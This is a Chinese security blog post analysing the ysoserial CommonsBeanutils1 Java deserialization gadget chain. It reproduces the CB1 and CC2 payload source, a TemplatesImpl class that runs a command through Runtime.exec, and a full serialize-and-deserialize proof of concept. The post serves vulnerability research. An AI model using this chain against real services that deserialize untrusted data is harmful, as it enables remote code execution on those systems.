『代码审计』ysoserial CB1 反序列化分析

华盟原创文章投稿奖励计划

日期:2023-11-14作者:ICDAT介绍:这篇文章主要是对ysoserial CB1反序列化利用链进行分析。


0x00 前言

最近打了比较多的攻防演练,发现shiro反序列化漏洞真是一把利器,虽然其早在2016年就已经被爆出。而shiro打的多了,就会发现其繁杂的利用链,而在其中,commons-beanutils是绕不过的槛,毕竟shiro自带。这次我们来分析一下CB1利用链。

自动草稿

0x01 环境搭建

新建一个Maven项目,引入commons-beanutils1.9.2。

 <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.1</version> </dependency>

引入包的时候我们发现其除了commons-beanutils包外,还有commons-collections:3.2.1和commons-logging:1.1.1包。

自动草稿

0x02 payload分析

ysoserial中的payload如下:

package ysoserial.payloads; import java.math.BigInteger;import java.util.PriorityQueue; import org.apache.commons.beanutils.BeanComparator; import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections; @SuppressWarnings({ "rawtypes", "unchecked" })@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})@Authors({ Authors.FROHOFF })public class CommonsBeanutils1 implements ObjectPayload<Object> {  public Object getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit");  // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));  // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties");  // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = templates;  return queue; }  public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsBeanutils1.class, args); }}

我们查看CB1的payload,发现了很多之前分析CC链的时候,熟悉的身影。都利用了TemplatesImpl和PriorityQueue类。

0x03 TemplatesImpl

前面我们已经专门分析了TemplatesImpl的利用,这么做个简单的复习。

TemplatesImpl执行任意代码的逻辑如下:

首先是新建一个AbstractTranslet类的子类,在构造方法或static静态代码块调用计算器。

import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {  }  @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {  } public Test() throws IOException { super(); Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator"); }}

通过反射设置TemplatesImpl的成员变量的值。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths; public class RunTest { public static void main(String[] args) throws Exception { //获取字节码 byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));  TemplatesImpl templates = new TemplatesImpl(); //通过反射对私有变量进行赋值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());  Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes});  Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"123123");  //执行newTransformer()方法触发弹窗 templates.newTransformer();   }}

即调用TemplatesImpl的newTransformer()方法可以实现执行任意代码。

我们可以在CC2中看见相关的利用,CC2的payload如下:

package ysoserial.payloads; import java.util.PriorityQueue;import java.util.Queue; import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.InvokerTransformer; import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;  /* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */ @SuppressWarnings({ "rawtypes", "unchecked" })@Dependencies({ "org.apache.commons:commons-collections4:4.0" })@Authors({ Authors.FROHOFF })public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {  public Queue<Object> getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);  // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1);  // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");  // switch contents of queue final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); queueArray[0] = templates; queueArray[1] = 1;  return queue; }  public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections2.class, args); } }

对比一下,我们发现这个两个反序列化链很相似,但也存在不一样的地方。

0x04 PriorityQueue

PriorityQueue也是一个旧知识了,我们在分析CC2的时候就接触了,再复习一下。

PriorityQueue是一个有限队列,他可以由用户指定优先级,通过comparator来实现。heapify()方法大致作用是找寻最后一个非叶节点,然后倒序进行下移的siftDown操作。siftDownUsingComparator()方法是在存在比较器的情况下,使用比较器进行大小比较,然后进行下移的操作。

而其在CC2的时候的调用链如下:

PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()siftDownUsingComparator()

而其在CC2利用链的逻辑的点在于siftDownUsingComparator()方法中存在调用compare方法触发计算器。

自动草稿

关于PriorityQueue的利用就这些了。

基于TemplatesImpl和PriorityQueue这两个老朋友的分析,我们发现PriorityQueue是反序列利用的链的头,TemplatesImpl是利用链的尾,我们还缺少一个类,来连接TemplatesImpl和PriorityQueue。

0x05 BeanComparator

说完了相同的地方,我们来看看不一致的地方。

第一处:

 // mock method name until armed final BeanComparator comparator = new BeanComparator("lowestSetBit");  // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

我们发现CB1利用链中传入PriorityQueue类对象,触发比较的对象从TransformingComparator类对象变成了BeanComparator类对象。那么我们来看一下BeanComparator类。

自动草稿

实现了Comparator和Serializable接口,来自commons.beanutils库。

而我们上面提到了,CC2利用链的逻辑的点在于siftDownUsingComparator()方法中存在调用compare方法触发计算器。

CB1既然用到了PriorityQueue,那么必然会触发BeanComparator类的compare方法。

查看其compare方法。

自动草稿

我们发现,当property属性不为空时,会调用PropertyUtils.getProperty方法。

查看其方法。

自动草稿

PropertyUtils来自commons.beanutils库:

自动草稿

我们直接百度搜索PropertyUtils.getProperty方法,看看其主要作用是什么。

PropertyUtils.getProperty的用法:相对于getXXX方法,取得其值.

即该方法可以在事先不知道beans的类型或者将要访问或修改的属性名时,获取其属性值。

举例说明一下:

存在一个Person类,该类存在属性值name,且存在getName方法。

public class Person { private String name;  public Person(String name) { this.name = name; }  public String getName() { return name; }}

那么我们可以通过PropertyUtils.getProperty()方法获取Person类对象name的属性值。

import org.apache.commons.beanutils.PropertyUtils;  public class TestP { public static void main(String[] args) throws Exception { Person libai = new Person("libai"); System.out.println(PropertyUtils.getProperty(libai, "name"));  }}

成功获取其属性值。

自动草稿

PropertyUtils.getProperty()虽然可以获取某个类对象的属性值,但是在反序列化的利用链中存在的作用是什么,我们还没有明白。

而我们需要往下看。

参考CC2的payload,在PriorityQueue中传入TransformingComparator(transformer),然后会最终会调用TemplatesImpl.newTransformer()来执行代码。

CC2:

 // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later queue.add(1); queue.add(1);  // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

而CB1利用链中触发的关键是其反射修改BeanComparator的property属性的地方。

 // switch method called by comparator Reflections.setFieldValue(comparator, "property", "outputProperties");

修改的是outputProperties属性,那么最终调用的方法是TemplatesImpl.getOutputProperties()方法。

而我们查看TemplatesImpl.getOutputProperties()方法,我们发现其调用了TemplatesImpl.newTransformer()。

自动草稿

那么到这里,整个逻辑就走通了,其整个的利用链逻辑大致如下:

PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()siftDownUsingComparator()compare()BeanComparator.compare()PropertyUtils.getProperty()TemplatesImpl.newTransformer()

那么我们来编写POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;  public class CB1 { public static void main(String[] args) throws Exception { byte[] bytes = Files.readAllBytes(Paths.get("target/classes/Test.class"));  Object templates = new TemplatesImpl(); //通过反射对私有变量进行赋值 Field tfactory = templates.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,new TransformerFactoryImpl());  Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,new byte[][]{bytes});  Field name = templates.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"123123");  BeanComparator comparator = new BeanComparator(); //初始化队列并添加元素 PriorityQueue priorityQueue = new PriorityQueue(2, comparator); priorityQueue.add(1); priorityQueue.add(2);  Field iMethodName = comparator.getClass().getDeclaredField("property"); iMethodName.setAccessible(true); iMethodName.set(comparator,"outputProperties");    Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); queue.set(priorityQueue,new Object[]{templates,templates});  serialize(priorityQueue); deserialize(); } public static void serialize(Object obj) { try { ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser")); os.writeObject(obj); os.close(); } catch (Exception e) { e.printStackTrace(); } }  public static void deserialize() { try { ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser")); is.readObject(); } catch (Exception e) { e.printStackTrace(); } }}

0x06 结语

这篇文章同之前的文章逻辑不一样,因为我们在分析了CC1-CC7的知识储备下,就很容易通过类比的思想来理解某个类和方法在反序列化利用链中起到的作用。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

文章来源:宸极实验室

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文


END

本文来源宸极实验室,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复